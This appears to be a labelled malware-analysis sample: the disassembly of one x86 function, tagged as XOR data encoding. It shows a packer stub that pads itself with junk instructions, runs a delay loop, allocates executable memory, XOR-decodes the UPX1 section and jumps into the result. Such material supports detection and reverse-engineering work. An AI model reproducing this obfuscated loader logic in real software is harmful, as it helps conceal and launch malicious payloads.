Function at 0x47b434
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x384ac669
sub ebx, 1
sub ebx, 0xa9e698f5
popal
add ebx, ebx
add eax, ebx
mov ebx, 0
mov esi, eax
add ecx, 1
mov edx, 0x4e30706e
mov edi, esi
mov ecx, 0xa9f95b66
sub ecx, 0xe6d4f897
mov eax, edi
and ecx, edx
sub ecx, edx
inc ebx
dec edx
mov ecx, edx
add edx, 0x1b366768
cmp ebx, 0x1007e83
jne 0x47b450
not ecx
sub edx, ecx
and ecx, edx
or eax, ebx
not ebx
mov edi, 0x47b21e
add esi, edx
mov ecx, 0x4450d6b4
mov ecx, 0x82431777
mov eax, 0x47b412
dec edx
add edx, edx
inc esi
mov ebx, dword [edi]
dec esi
not ecx
sub ecx, 0xdd90c21d
and ebx, 0xff
inc esi
dec esi
or ecx, ecx
xor dword [eax], ebx
sub edx, esi
add esi, ecx
and ecx, edx
inc eax
inc esi
dec esi
inc esi
add edi, 1
add ecx, esi
mov esi, ecx
sub edx, 0x3bbcbb7e
cmp eax, entry0
jl 0x47b4aa
dec edx
sub edx, ecx
dec edx
sub esi, 1
sub ecx, edx
mov esi, 0x7bcec5bf
add ecx, edi
add ecx, edi
mov ebx, 0x47b416
mov edx, 0x91f5c9d5
add edx, 0x875ee1a0
mov edi, 0x2599a185
mov ebx, dword [ebx]
and edi, edx
mov edx, edi
mov ebx, dword [ebx]
or edi, edi
add esi, 1
push ebx
add edx, 0xede391d7
mov esi, edi
mov ebx, 0x47b412
or esi, edx
inc edi
mov ebx, dword [ebx]
add edi, esi
mov edi, 0x14cf5756
add esi, edx
mov ebx, dword [ebx]
sub esi, 0x9a9ec6e4
add edi, ecx
push 0x47b41a
sub edx, esi
mov edi, ecx
call ebx
sub ecx, esi
add edx, edx
add esi, ecx
mov ebx, dword [esp]
add esp, 4
sub edi, 0x23eb79bc
mov edx, esi
push 0x47b427
or edx, ecx
or ecx, ecx
push eax
and ecx, esi
sub edx, 0x1c7e6f5a
sub edx, 0x448c1d5f
call ebx
sub esi, 0x70e0e393
not edi
add edx, 0x5686431d
push 0x40
sub ecx, esi
inc edi
push 0x3000
add esi, 0x54c69294
add ecx, 0xc01e6ad5
mov edx, esi
push 0x2000005e
add edx, ecx
and edi, esi
sub esp, 4
mov dword [esp], 0
sub edi, 0x3c64a22b
inc edx
call eax
not esi
add edx, 0x3a4945a9
and ecx, esi
add eax, 0x1fffffd5
sub edi, 0x18832a71
or ecx, esi
and edi, esi
mov ebx, 0x417e41d8
sub edi, edx
or edi, edi
sub ecx, edi
mov dword [eax], ebx
add ecx, 1
not edi
add esi, 0xf30d45bf
mov ebx, dword [eax]
not esi
sub edi, 1
sub edi, 0x1179884c
cmp ebx, 0x417e41d8
je 0x47b619
mov ebx, 0
mov byte [ebx], al
or edi, esi
mov ecx, esi
and ecx, esi
mov edi, ecx
mov edi, 0x84794b99
add esi, 0x2c9f27b9
sub eax, ebx
sub ebx, 0xe7eba0a
mov edx, section.UPX1
add ebx, ebx
or ebx, ebx
mov esi, 0x47b21d
mov ebx, eax
not eax
and ebx, ebx
mov ecx, 0
mov ebx, 0xec5f1f76
sub ebx, 0xf4a5e800
mov edi, 0x47b21e
inc eax
sub eax, ebx
lea edi, [ecx + edi]
and eax, ebx
add ebx, 0xc545ba83
mov edi, dword [edi]
sub eax, 0x63e25f84
dec ebx
and edi, 0xff
add eax, eax
inc eax
not eax
inc ecx
not ebx
not ebx
inc ebx
cmp ecx, 0x1f4
jne 0x47b692
mov ecx, 0
sub eax, 0x6113ff03
mov eax, 0xdff43192
sub ebx, eax
add eax, eax
add eax, 0xde1177fa
xor dword [edx], edi
add eax, ebx
or ebx, ebx
add edx, 2
sub eax, 0xbf6b778b
not ebx
cmp edx, esi
jl 0x47b658
mov ebx, 0x390e58f
inc ebx
mov eax, ebx
dec eax
or ebx, ebx
mov esi, section.UPX1
not eax
not eax
mov ecx, section.UPX1
sub eax, ebx
sub eax, 0x8b290050
add ebx, ebx
mov edi, 0x47b21d
not eax
dec ebx
sub ebx, eax
mov edx, 0
sub eax, 0x4b8eccab
add ebx, 1
mov dl, byte [ecx]
or ebx, eax
not ebx
mov byte [esi], dl
sub eax, ebx
sub eax, ebx
inc esi
mov eax, ebx
inc eax
sub eax, ebx
add ecx, 2
mov eax, 0x5154bf8
add ebx, ebx
cmp ecx, edi
jle 0x47b701
sub eax, ebx
inc ebx
or eax, ebx
mov ebx, eax
add eax, 0x80df8a89
push 0x45e6a0
sub eax, 1
inc eax
and ebx, eax
ret